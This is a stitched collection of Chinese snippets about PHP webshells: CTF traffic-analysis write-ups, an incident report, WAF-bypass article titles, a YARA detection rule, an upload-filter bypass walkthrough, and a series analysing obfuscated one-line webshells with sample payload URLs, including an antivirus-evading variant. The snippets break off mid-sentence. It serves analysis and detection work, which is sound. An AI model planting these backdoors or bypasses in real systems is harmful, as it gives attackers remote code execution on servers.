分析压缩包中的数据包文件并获取flag.flag为32位大写md5. 神仙们还是强啊,webshell主要看http流,再过滤只剩下post请求 可以使用 http.request.method == POST 然后挨个看,发现一个带着flag字样的,只提交了很少的信息,猜测是base64加密,解码得到一个url,扫图片中的二维码得到flag

原文:http://www.2cto.com/Article/201511/451757.html 1. 什么是webshell?     基于b/s架构的软件部署在Internet上,那么安全性是必须要关注的,攻击者可以采用各种方式进行攻击,获取系统的控制权,其中webshell是常见的攻击方式.     Webshell是攻击者在被攻击网站上植入的asp.php.jsp程序文件,攻击者在入侵了一个web系统后,常常在将这些asp.php.jsp木 马后门文件放置在web服务器的web目录中,

一 基本情况 1.1  简要 此事件是去年应急处置时完成的报告,距今有半年时间了.一直存在电脑里,最近准备完善应急响应中遇到的各类安全事件,这篇文章作为这一系列的开端. 对于 Linux 安全检查,个人上段时间写了个 shell 用于一键进行 Linux 安全检查,本文对 Linux 的检查使用相关脚本均可实现,相关链接如下: https://mp.weixin.qq.com/s/S0OmDRU6uQo8LBBK-GUAaQ https://github.com/T0xst/linux 1.2

WAF Bypass 综合篇: WAF攻防研究之四个层次Bypass WAF Bypass WAF Cookbook - MayIKissYou My Waf Bypass Series Article 从甲方的角度谈谈WAF测试方法 浅析Waf优缺点||硬件Waf.软件Waf.云Waf之总结 SQL Injection Bypassing WAF 见招拆招:绕过WAF继续SQL注入常用方法 使用HTTP头去绕过WAF TSRC挑战赛:WAF之SQL注入绕过挑战实录 Sql注入waf过滤机制及绕

静态查杀 提取特征写成规则库,调用规则库查杀.基于规则,会比较快,但漏报.误报会比较明显,一般的Webshell一句话木马变形混淆会比较多. yara规则 $eval = /(<\?php|[;{}])[ \t]*@?(eval|preg_replace|system|assert|passthru|(pcntl_)?exec|shell_exec|call_user_func(_array)?)\s*\(/ nocase // ;eval( <- this is dodgy $eval_co

2018年10月27日接到新客户网站服务器被上传了webshell脚本木马后门问题的求助,对此我们sine安全公司针对此阿里云提示的安全问题进行了详细分析,ECS服务器被阿里云提示异常网络连接-可疑WebShell通信行为,还会伴有,网站后门-发现后门(Webshell)文件,以及提示网站后门-一句话webshell的安全提示,但是大部分都是单独服务器ECS的用户,具体被阿里云提示的截图如下: 点开消息后的内容为:受影响资产 iZ2393mzrytZ 访问者IP Webshell URL 事件说

webshell文件上传漏洞分析溯源(第一题) 我们先来看基础页面: 先上传1.php ---->   ,好吧意料之中 上传1.png  ---->   我们查看页面元素 ----->   ,也没有前端验证 看来只能用burp抓包来改包绕过,我们修改1.php  ---->   1.php .png ,然后上传抓包改包 0x20 -----> 0x00 webshell文件上传漏洞分析溯源(第一题) 我们先来看基础页面: 先上传1.php ---->   ,好吧意料之中

WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_GET['POST']($_POST['GET']); ?> 2.分析代码,首先以GET方法接收url中POST参数传递的值,然后又以POST方法接收GET参数传递的值,因此可以构造payload:http://www.test.com/test.php?POST=assert,这样就相当于一句话木马变

WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?> 二.代码分析 1.调整代码格式 2.分析代码 2.1.首先使用REQUEST方法接收url中e参数传递的值, 然后执行declare函数和register_tick_function回调函数.没执行ticks=1行代码,就执行一次register_tic

WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['REQUEST']);?> 二.代码分析 1.调整代码格式 2.分析代码 1.首先使用REQUEST方法接收url中e参数的值,然后使用register_shutdown_function函数, 其实这就是一个回调函数,在上面的代码运行结束后,再去执行. 注: register_shutdown_fun

WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');?> 二.代码分析 1.调整代码格式 2.分析代码 1.首先使用REQUEST方法接收url中的e参数的值,创建arr数组,然后array_walk对数组$arr中的每个元素应用用户自定义函数$e 注:,array_walk() 函数对数组中的每个元

WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasort($arr, base64_decode($e));?> 二.代码分析 1.调整代码格式 2.分析代码 首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并赋值,然后使用uasort排序函数,base64_decode($e)进行解密之后的自定义函数对arr数组进行排序,构造成一

WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(base64_decode($e), $arr);?> 二.代码分析 1.调整代码格式 2.分析代码 分析代码,首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$_POST['POST']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e

WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代码 call_user_func('assert', $_REQUEST['assert'])中assert是第一个被调用的函数, 其余参数是回调函数的参数,这样就构成了assert($_REQUEST['assert'])一句话木马 注: call_user_func函数,把第一个参数作为回调函数,其余参数

WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e)); ?> 二.代码分析 1.调整代码格式 2.分析代码 首先使用REQUEST方法接收url中e参数传递的值,然后把$_POST['POST']赋值给arr数组,然后把arr数组中的每个键值传给base64_decode函数,最终构成一句话木马assert($_p

WebShell代码分析溯源(四) 一.一句话变形马样本 <?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`

WebShell代码分析溯源(三) 一.一句话变形马样本 <?php $g = array('','s');$gg = a.$g[1].ser.chr('116');@$gg($_POST[get]);?> 二.代码分析 1.调整代码格式 2.分析代码 分析代码,首先创建一个g数组,然后拼接字符串,把拼接之后的字符串赋值给gg变量,字符串拼接的过程:$g[1]为s,chr('116')为t,因此拼接之后的字符串为assert.这时整个一句话代码就变成了<?php @assert($_PO

WebShell代码分析溯源(二) 一.一句话变形马样本 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> 二.代码分析 1.调整代码格式 2.分析代码,首先先把”assert”字符串复制给POST数组,然后又把POST数组array数组,调试代码,搭建php环境(这里使用phpstudy) 3.发现结果输出为assert 4.这样最终一句话变形马就变成这样: <?php

文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})]; ?> 开始是百思不得其解,后来在测试过程中通

分析一下shell流量,得到flag 看着一大推的数据记录头都大了,并没有什么wireshark的使用经验,开始胡搞 首先用notepad++打开,搜索flag字样找到了一个类似于python脚本的东西和一长串好像base64加密的字符串 嘿嘿嘿,很开心 读了一下脚本,大概就是说flag的格式hctf{}和加密的的一个函数,那用base64解码奇怪的字符串再扔进去解密不就行了 还真是这样 得到flag hctf{n0w_U_w111_n0t_f1nd_me} 读dalao的wp有感 其实不应该用